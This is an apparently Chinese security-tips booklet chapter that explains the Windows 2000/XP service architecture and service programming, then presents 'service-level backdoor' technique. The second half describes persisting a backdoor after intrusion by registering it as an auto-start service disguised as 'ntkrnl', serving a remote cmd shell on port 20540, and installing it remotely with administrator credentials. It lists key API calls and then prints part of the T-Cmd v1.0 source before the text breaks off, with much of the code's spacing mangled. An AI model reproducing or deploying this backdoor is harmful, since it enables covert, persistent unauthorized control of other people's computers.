网络安全

安全技巧（四）

小未 主编

目　录

Win2000/XP 服务与后门技术

一、序言

Windows 下的服务程序都遵循服务控制管理器(SCM)的接口标准，它们会在登录系统时自动运行，甚至在没有用户登录系统的情况下也会正常执行，类似与 UNIX 系统中的守护进程(daemon)。它们大多是控制台程序，不过也有少数的 GUI 程序。本文所涉及到的服务程序仅限于 Windows2000/XP 系统中的一般服务程序，不包含 Windows9X。

二、Windows 服务简介

服务控制管理器拥有一个在注册表中记录的数据库，包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows 服务包括四大部分：服务控制管理器(ServiceControlManager)，服务控制程序(ServiceControlProgram)，服务程序(ServiceProgram)和服务配置程序(ServiceConfigurationProgram)。

1.服务控制管理器(SCM)

服务控制管理器在系统启动的早期由 Winlogon 进程启动，可执行文件名是“ Admin$\System32\Services.exe ”，它是系统中的一个 RPC 服务器，因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息：

已安装服务数据库：服务控制管理器在注册表中拥有一个已安装服务的数据库，它在服务控制管理器和程

序添加，删除，配置服务程序时使用，在注册表中数据库的位置为：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键，每个子键的名字就代表一个对应的服务。数据库中包括：服务类型(私有进程，共享进程)，启动类型(自动运行，由服务控制管理器启动，无效)，错误类型(忽略，常规错误，服务错误，关键错误)，执行文件路径，依赖信息选项，可选用户名与密码。

自动启动服务：系统启动时，服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序：顺序装载组列表：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder；指定组列表：HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList；每个服务所依赖的服务程序。在系统成功引导后会保留一份 LKG(Last-Know-Good)的配置信息位于：HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。

因要求而启动服务：用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用 StartService 来启动服务。服务控制管理器会进行下面的操作：获取帐户信息，登录服务项目，创建服务为悬挂状态，分配登录令牌给进程，允许进程执行。

服务记录列表：每项服务在数据库中都包含了下面的内容：服务名称，开始类型，服务状态(类型，当前状态，接受控制代码，退出代码，等待提示)，依赖服务列表指针。

服务控制管理器句柄：服务控制管理器支持句柄类型访问以下对象：已安装服务数据库，服务程序，数据

库的锁开状态。

2.服务控制程序(SCP)

服务控制程序可以执行对服务程序的开启，控制和状态查询功能：

开启服务：如果服务的开启类型为 SERVICE_DEMAND_START，就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为：SERVICE_START_PENDING，而在初始化完成后的状态就是：SERVICE_RUNNING。

向正在运行的服务发送控制请求：控制请求可以是系统默认的，也可以是用户自定义的。标准控制代码如下：停止服务(SERVICE_CONTROL_STOP)，暂停服务(SERVICE_CONTROL_PAUSE)，恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。

3.服务程序

一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为 SERVICE_WIN32_OWN_PROCESS 的只拥有一个服务的服务程序。而类型为 SERVICE_WIN32_SHARE_PROCESS 的服务程序却可以包含多个服务的执行代码。详情参见后面的 Windows 服务与编程。

4.服务配置程序

编程人员和系统管理员可以使用服务配置程序来更改，查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。

服务的安装，删除和列举：我们可以使用相关的系统函数来创建，删除服务和查询所有服务的当前状态。

服务配置：系统管理员通过服务配置程序来控制服务的启动类型，显示名称和相关描述信息。

三、Windows 服务与编程

Windows 服务编程包括几方面的内容，下面我们将从服务控制程序，服务程序和服务配置程序的角度介绍服务编程相关的内容。

1.服务控制程序

执行服务控制程序的相关函数前，我们需要获得一个服务对象的句柄，方式有两种：由 OpenSCManager 来获得一台特定主机的服务控制管理器数据库的句柄；使用 OpenService 或 CreateService 函数来获得某个服务对象的句柄。

启动服务：要启动一个服务，服务控制程序可以使用 StartService 来实现。如果服务控制管理器数据库被锁定，那需要等待一定的时间然后再次测试 StartService 函数。当然也可以使用 QueryServiceLockStatus 函数来确认数据库的当前状态。在启动成功完成时，那么 dwCurrentState 参数将会返回 SERVICE_RUNNING 值。

服务控制请求：服务控制程序使用 ControlService 函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令，可以是系统默认的，也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用 QueryServiceStatus 函数时，在返回的 dwControlsAccepted 参数中表明服务程序将会接收的控制命令。所有的服务都会接受 SERVICE_CONTROL_INTERROGATE 命令。

2.服务程序

一个服务程序内可以包含一个服务或多个服务的执

行代码，但是它们都拥有固定的三个部分：服务 main 函数，服务 ServiceMain 函数和服务 ControlHandler 函数。

服务 main 函数：服务程序通常是以控制台的方式存在的，所以它们的入口点都是 main 函数。在服务控制管理器开始一个服务程序时，会等待 StartServiceCtrlDispatcher 函数的执行。如果服务类型是 SERVICE_WIN32_OWN_PROCESS 就会立即调用 StartServiceCtrlDispatcher 函数的执行；如果服务类型是 SERVICE_WIN32_SHARE_PROCESS，通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher 函数的参数就是一个 SERVICE_TABLE_ENTRY 结构，它包含了进程内所有服务的名称和服务入口点。

服务 ServiceMain 函数：函数 ServiceMain 是服务的入口点。在服务控制程序请求一个新的服务启动时，服务控制管理器启动一个服务，并发送一个开始请求到控制调度程序，而后控制调度程序创建一个新线程来执行 ServiceMain 函数。ServiceMain 须执行以下的任务：调用 RegisterServiceCtrlHandler 函数注册一个 HandlerEx 函数来向服务发送控制请求信息，返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用 SetServiceStatus 函数设置服务状态为 SERVICE_RUNNING。最后，就是执行服务所要完成的任务。

服务 ControlHandler 函数：每个服务都有一个控制句柄 HandlerEx 函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在 HandlerEx 函数被调用时，都要调用 SetServiceStatus 函数向服务控制管理器报告它当前的状态。在用户关闭系统时，所有的控制句柄都会调用带有 SERVICE_AC

CEPT_SHUTDOW 控制代码的 SetServiceStatus 函数来接收 NSERVICE_CONTROL_SHUTDOWN 控制代码。

3.服务配置程序

服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前，必须获得一个服务对象的句柄，当然我们可以通过调用 OpenSCManager,OpenService 或 CreateService 函数来获得。

创建，删除服务：服务配置程序使用 CreateService 函数在服务控制管理器的数据库中安装一个新服务，它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用 DeleteService 函数从数据库中删除一个已经安装的服务。

四、服务级后门技术

在你进入某个系统后，往往会为自己留下一个或多个后门，以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时，总是希望后门仍然存在。那么，将后门程序创建成服务程序应该是个不错的想法，这就是利用了服务程序自动运行的机制，当然在 Windows2000 的任务管理器里也很难结束一个服务程序的进程。

创建一个后门，它常常会在一个端口监听，以方便我们使用 TCP/UDP 协议与远程主机建立连接，所以我们首先需要在后门程序里创建一个监听的端口，为了数据传输的稳定与安全，我们可以使用 TCP 协议。

那么，我们如何才能模拟一个 Telnet 服务似的后门呢？我想大家都清楚，如果在远程主机上有一个 Cmd 是我们可以控制的，也就是我们可以在这个 Cmd 里执行命令，那么就可以实现对远程主机的控制了，至少可以执行各种常规的系统命令。启动一个 Cmd 程序的方法很

多，有 WinExec,ShellExecute,CreateProcess 等，但只能使用 CreateProcess，因为 WinExec 和 ShellExecute 它们实在太简单了。在使用 CreateProcess 时，要用到它的重定向标准输入/输出的选项功能，把在本地主机的输入重定向输入到远程主机的 Cmd 进程，并且把远程主机 Cmd 进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用 CreatePipe 创建两个管道来实现进程间的数据通信(Inter-ProcessCommunication，IPC)。当然，还必须将远程主机上 Cmd 的标准输入和输出在本地主机之间进行传送，我们选择 TCP 协议的 send 和 recv 函数。在客户结束访问后，还要调用 TerminateProcess 来结束创建的 Cmd 进程。

五、关键函数分析

本文相关程序 T-Cmdv1.0 是一个服务级的后门程序，适用平台为 Windows2000/XP。它可自动为远程/本地主机创建服务级后门，无须使用任何额外的命令，支持本地/远程模式。重启后，程序仍然自动运行，监听端口 20540/tcp。

1.自定义数据结构与函数

```
typedefstruct
{
HANDLEhPipe；
//为实现进程间通信而使用的管道；
SOCKETsClient；
//与客户端进行通信时的客户端套接字；
}SESSIONDATA,*PSESSIONDATA；
//重定向 Cmd 标准输入/输出时使用的数据结构；
typedefstructPROCESSDATA
```

{

HANDLEhProcess；

//创建 Cmd 进程时获得的进程句柄；

DWORDdwProcessId；

//创建 Cmd 进程时获得的进程标识符；

structPROCESSDATA*next；

//指向下一个数据结构的指针；

}PROCESSDATA,*PPROCESSDATA；

//在客户结束访问或删除服务时为关闭所以的 Cmd 进程而创建的数据结构；

voidWINAPICmdStart(DWORD,LPTSTR*)；

//服务程序中的“ ServiceMain ”:注册服务控制句柄，创建服务主线程；

voidWINAPICmdControl(DWORD)；

//服务程序中的“ HandlerEx ”:处理接收到的控制命令，删除已创建的 Cmd 进程；

DWORDWINAPICmdService(LPVOID)；

//服务主线程，创建服务监听端口，在接受客户连接时，创建重定向 Cmd 标准输入/输出线程；

DWORDWINAPICmdShell(LPVOID)；

//创建管道与 Cmd 进程，及 Cmd 的输入/输出线程；

DWORDWINAPIReadShell(LPVOID)；

//重定向 Cmd 的输出，读取信息后发送到客户端；

DWORDWINAPIWriteShell(LPVOID)；

//重定向 Cmd 的输入，接收客户端的信息输入到 Cmd 进程；

BOOLConnectRemote(BOOL,char*,char*,char*)；

//如果选择远程模式，则须与远程主机建立连接，

注须提供管理员权限的用户名与密码，密码为空时用"NULL"代替；

voidInstallCmdService(char*)；

//复制传送文件，打开服务控制管理器，创建或打开服务程序；

voidRemoveCmdService(char*)；

//删除文件，停止服务后，卸载服务程序；

2.服务程序相关函数

SERVICE_TABLE_ENTRYDispatchTable[]=

{

{"ntkrnl",CmdStart},

//服务程序的名称和入口点；

{NULL,NULL}

//SERVICE_TABLE_ENTRY 结构必须以“NULL”结束；

}；

StartServiceCtrlDispatcher(DispatchTable)；

//连接服务控制管理器，开始控制调度程序线程；

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl)；

//注册 CmdControl 函数为“HandlerEx”函数，并初始化；

ServiceStatus.dwCurrentState=SERVICE_RUNNING；

SetServiceStatus(ServiceStatusHandle,&ServiceStatus)；

//设置服务的当前状态为 SERVICE_RUNNING；

hThread=CreateThread(NULL,0,CmdService,NULL,0,

NULL)；

//创建服务主线程，实现后门功能；

WaitForSingleObject(hMutex,INFINITE)；

//等待互斥量，控制全局变量的同步使用；

TerminateProcess(lpProcessDataHead->hProcess,1)；

//终止创建的 Cmd 进程；

hSearch=FindFirstFile(lpImagePath,&FileData)；

//查找系统目录下服务程序的文件是否已经存在；

GetModuleFileName(NULL,lpCurrentPath,MAX_PATH)；

//获得当前进程的程序文件名；

CopyFile(lpCurrentPath,lpImagePath,FALSE)；

//复制文件到系统目录下；

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS)；

//打开服务控制管理器数据库；

CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL)；

//创建服务，参数包括名称，服务类型，开始类型，错误类型及文件路径等；

schService=OpenService(schSCManager,"ntkrnl",SERVICE_START)；

//如果服务已经创建，则打开服务；

StartService(schService,0,NULL)；

//启动服务进程；

ControlService(schService,SERVICE_CONTROL_ST

OP,&RemoveServiceStatus)；

//控制服务状态；

DeleteService(schService)；

//卸载服务程序；

DeleteFile(lpImagePath)；

//删除文件；

3.后门程序相关函数

hMutex=CreateMutex(NULL,FALSE,NULL)；

//创建互斥量；

hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL)；

//创建处理客户端访问的重定向输入输出线程；

CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)；

CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)；

//创建用于进程间通信的输入/输出管道；

CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)；

//创建经重定向输入输出的 Cmd 进程；

hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId)；

hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID*)&sdWrite,0,&dwReavThreadId)；

//创建处理 Cmd 输入输出的线程；

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE)；

//等待线程或进程的结束；

ReleaseMutex(hMutex)；

//释放互斥量；

PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL)；

//从管道中复制数据到缓冲区中，但不从管道中移出；

ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL)；

//从管道中复制数据到缓冲区中；

WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)；

//向管道中写入从客户端接收到的数据；

dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE)；

//与远程主机建立连接；

WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE)；

//与远程主机结束连接；

六、附录

1.SC 简介

SC 是一个与 NT 服务控制器，服务进程进行通信的控制台程序，它可以查询和修改已安装服务的数据库。

语法：sc<server>[command][servicename]<option1><option2>...，选项<server>为“\\ServerName”的形式。

主要的命令包括：query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend 等。

2.T-Cmdv1.0 源代码

```
#include<windows.h>
#include<stdio.h>
#defineBUFFER_SIZE1024
```

```
typedefstruct
{
HANDLEhPipe；
SOCKETsClient；
}SESSIONDATA,*PSESSIONDATA；
typedefstructPROCESSDATA
{
HANDLEhProcess；
DWORDdwProcessId；
structPROCESSDATA*next；
}PROCESSDATA,*PPROCESSDATA；
HANDLEhMutex；
PPROCESSDATAlpProcessDataHead；
PPROCESSDATAlpProcessDataEnd；
SERVICE_STATUSServiceStatus；
SERVICE_STATUS_HANDLEServiceStatusHandle；
voidWINAPICmdStart(DWORD,LPTSTR*)；
voidWINAPICmdControl(DWORD)；
DWORDWINAPICmdService(LPVOID)；
DWORDWINAPICmdShell(LPVOID)；
DWORDWINAPIReadShell(LPVOID)；
DWORDWINAPIWriteShell(LPVOID)；
BOOLConnectRemote(BOOL,char*,char*,char*)；
voidInstallCmdService(char*)；
voidRemoveCmdService(char*)；
voidStart(void)；
voidUsage(void)；
intmain(intargc,char*argv[])
```

```
{
SERVICE_TABLE_ENTRYDispatchTable[]=
{
{"ntkrnl",CmdStart},
{NULL,NULL}
};
if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==F
ALSE)
{
return-1;
}
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
elseif(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}
if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==
FALSE)
{
return-1;
}
return0;
}
```

```
elseif(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL)；
}
elseif(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL)；
}
else
{
Start()；
Usage()；
}
return0；
}
StartServiceCtrlDispatcher(DispatchTable)；
return0；
}
voidWINAPICmdStart(DWORDdwArgc,LPTSTR*lp
Argv)
{
HANDLEhThread；
ServiceStatus.dwServiceType=SERVICE_WIN32；
ServiceStatus.dwCurrentState=SERVICE_START_PE
NDING；
ServiceStatus.dwControlsAccepted=SERVICE_ACCE
```